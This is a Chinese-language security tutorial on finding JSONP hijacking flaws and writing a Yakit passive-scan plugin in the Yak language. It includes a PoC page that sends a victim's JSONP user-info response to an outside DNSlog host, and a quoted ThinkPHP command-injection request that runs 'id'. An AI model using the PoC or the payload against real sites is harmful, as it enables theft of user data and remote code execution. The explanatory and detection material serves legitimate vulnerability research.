作者:@shangzeng师傅
什么是JSONP劫持漏洞
同源策略(同协议、同域名、同端口)导致的不同域名的网站无法传输数据,但是在某些时刻我们有需要进行跨域传输数据。
这时候jsonp身为跨域的方法中的一个就孕育而生了,由于html标签中的<script> 、<img>、<iframe> 这三个标签是允许进行资源的跨域获取的,jsonp就是利用了这三个标签中的其中一个 <script> 利用js代码动态生成script标签然后利用标签中的src属性来进行资源的跨域调用。
在数据传输未设置有效的校验的情况下,就有可能导致JSONP劫持漏洞,造成信息泄漏。
在配置存在问题的情况下,jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下:
- 获取个人信息,蓝队反制,蜜罐溯源等等
- 用于跨域传输数据,通过jsonp发起请求,得到泄露的csrf_token然后,利用这个token 实现CSRF 攻击
JSONP 漏洞挖掘原理
常规方式
- 使用火狐/谷歌浏览器打开开发者模式,选择Network,勾选Preserve log选项,防止干扰
在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字,访问目标相关网站即可:
jsonp
jsoncb
jsonpcb
cb
json
jsonpcall
jsoncall
jQuery
callback
back
在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可以自己构造调用,毕竟<script>标签不支持同源策略,只要没有referer等限制,就有可能存在漏洞,其中POC如下:(这里使用DNSlog来获取回调的信息):
<script type="text/javascript">function jsonp_1610359498402_9620(json){
alert(JSON.stringify(json))
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json)
}</script>
<script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script>
效果如下:
使用Yak被动扫描jsonp漏洞
通过上面我们可以知道,jsonp的搜索与发现是个比较容易流程化的操作,而且相对于主动扫描,被动发现也更加适合,因此我们这里可以写一个被动扫描插件,来代替手工操作
其中Yak的开发文档如下:
打开Yakit,选择【插件仓库】,选择【+新插件】,这里的插件有三种模式:
- 以 Webhook 为通信媒介的原生 Yak 模块,通过核心引擎启动新的 yak 执行进程来控制执行过程;
- 以 MITM 劫持过程为基础 Hook 点的 Yak 模块,
- 以 Yaml 为媒介封装 Nuclei PoC 的模块,本质上也是执行一段 Yak 代码,原理与(1)相同
我们使用MITM模块
这里我们需要了解的几个函数已经存在注释了,讲得很清楚。 jsonp 主要出现在请求参数里面,因此使用mirrorNewWebsitePathParams 模块,其他的不用注释掉就好
# mitm plugin template
yakit_output(MITM_PARAMS)
__test__ = func() {
results, err := yakit.GenerateYakitMITMHooksParams("GET", "Example Domain")
if err != nil {
return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePathParams(results...)
}
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
}
在被动接收流量后,我们首先应当筛选出包含jsonp的请求,这里使用关键字匹配的方式进行搜索:
# 请求存在关键词检测为jsonp数据
availableJSONPParamNames = [
"jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",
]
字符串的比对中,使用 str 工具库进行,这里注意大小写问题
str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName))
在Yak中,提供了 fuzz 工具库来进行请求的发送与接收,例如官方提供的POC如下:
# fuzz.HTTPRequest 可以直接 接收 req 数据 进行发送,并允许一定的错误
fReq, err := fuzz.HTTPRequest(`
POST /index.php?s=captcha HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
`)
# Yak 的报错处理类似于golang
if err != nil {
die(err)
}
# 发送请求,接收返回数据
reqs, err := fReq.Exec()
if err != nil {
die(err)
}
for rsp = range reqs {
if rsp.Error != nil {
log.error(rsp.Error)
continue
}
if re.Match(`((uid\=\d*)|(gid\=\d*)|(groups=\d*))`, rsp.ResponseRaw) {
println("found thinkphp vuls...")
break
}
}
在获取jsonp的URL后,我们还要判断返回的数据中是否存在敏感信息,这里使用正则表达式**re**进行匹配
re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw)
最后的逻辑思维如下:
- 首先从流量中筛选出可能存在jsonp的流量
- 发送请求包,看返回值是否存在敏感信息
- 去掉referer,cookie等信息,看是否还会返回敏感信息
不得不说Yak的插件做到了简单快速,在不到半天的情况下,就从 0基础 到可以写出一个脚本来,最后代码如下:
# mitm plugin template
yakit_output(MITM_PARAMS)
#--------------------------WORKSPACE-----------------------------
__test__ = func() {
results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://127.0.0.1:8084/?jsonp=jQuery2398423949823")
if err != nil {
return
}
isHttps, url, reqRaw, rspRaw, body = results
mirrorNewWebsitePathParams(results...)
}
# 请求存在关键词检测为jsonp数据
availableJSONPParamNames = [
"jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",
]
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {
# 用于匹配筛选字符目前我是这么理解的
freq, err := fuzz.HTTPRequest(req, fuzz.https(isHttps))
die(err)
for _, param := range freq.GetCommonParams() {
//yakit_output(sprintf("start to test url[%v]'s param: %v[%v]", url, param.Name(), param.Position()))
paramparamName = param.Name() # 获取各种参数名
#yakit_output(paramName)
# str.ToLower 字符串变小写
if str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName)) {
#yakit_save(url)
# 请求查看返回包是否存在敏感字段
fReq, err1 := fuzz.HTTPRequest(req,fuzz.https(isHttps))
die(err1)
reqs, err2 := fReq.Exec()
die(err2)
for rsp = range reqs {
if re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw) {
yakit_output(url)
yakit_save(url)
}
}
}
}
}
后期挂着就行了,时不时翻一翻看看有没有什么收获
成功水到漏洞
Yak官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ